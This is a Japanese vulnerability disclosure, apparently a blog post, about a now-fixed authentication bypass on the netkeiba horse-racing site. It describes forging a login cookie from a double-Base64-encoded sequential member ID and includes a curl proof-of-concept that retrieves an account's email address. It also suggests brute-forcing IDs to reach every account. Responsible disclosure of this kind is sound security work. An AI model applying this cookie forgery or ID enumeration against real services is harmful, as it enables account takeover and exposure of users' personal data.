netkeiba とは
netkeiba はオンライン上で競馬情報が見れるサイトです。このサービスにはユーザー登録の機能があり、掲示板にコメントできるようになるほか、有料機能に登録するために必要になったりします。
脆弱性の内容
今回発見した脆弱性は、このユーザー機能のログインにおいて正常な認証チェックがされていないことで、パスワードなしで任意のアカウントにログインできる 脆弱性でした。具体的には、以下のような手順で認証を回避してログインができました:
- ログインしたいアカウントの
memberIdを取得するmemberIdは内部的に使用される(おそらく)連番のアカウントIDのことで、アカウントごとに一意になっています。- 例:
7083552のような数値 (この値は私のアカウントのもの)
memberIdを2回 Base64 でエンコードするmemberIdが7083552なら、TnpBNE16VTFNZz09のようになる
- Cookie の
netkeibaフィールドにセットして HTTP リクエストを行う- このリクエスト自体がすでに認証済みの扱いになります。
これによってパスワード不要で任意のアカウントでログインが可能でした。現在は修正されています。
なお、特定のアカウントの memberId を直接調べることはおそらく方法がないのですが、アカウントを作成するたびにインクリメントするような挙動だったことから連番だと推測されるので、総当たりすることで全てのアカウントにアクセスが可能だったと思われます。
curl での PoC
curl -X GET \ --cookie "netkeiba=TnpBNE16VTFNZz09;" \ "https://regist.netkeiba.com/?pid=change_id" \ | iconv -f EUC-JP -t UTF-8 > account.html && \ cat account.html | grep "@"修正前はこれを実行することで、アカウントに登録されたメールアドレスを取得できました。
影響範囲
今回の方法によって認証を回避することで以下の情報を取得可能でした:
- アカウントに関連する登録情報
- メールアドレス・(登録されている場合は)電話番号
- プロフィールで登録されている内容(非公開設定含む)
また、以下の操作を実行可能でした:
- アカウントプロフィールの変更
- アカウントの退会操作
- 掲示板でコメントをする
以下の操作が行えるかは検証できなかったので不明です:
- 有料機能に関する操作
- 支払い方法の取得・設定
- サブスクリプションプランの変更
以下の操作は行うことができませんでした:
- パスワードの変更
- メールアドレスの変更
- 古いパスワードの再入力が要求されるため、これらの操作は行えませんでした
なお、この脆弱性を用いて行われた攻撃は観測していません。
脆弱性の報告
2025年6月14日に IPA 経由で脆弱性を報告し、2025年10月31日に修正完了の通知が届きました。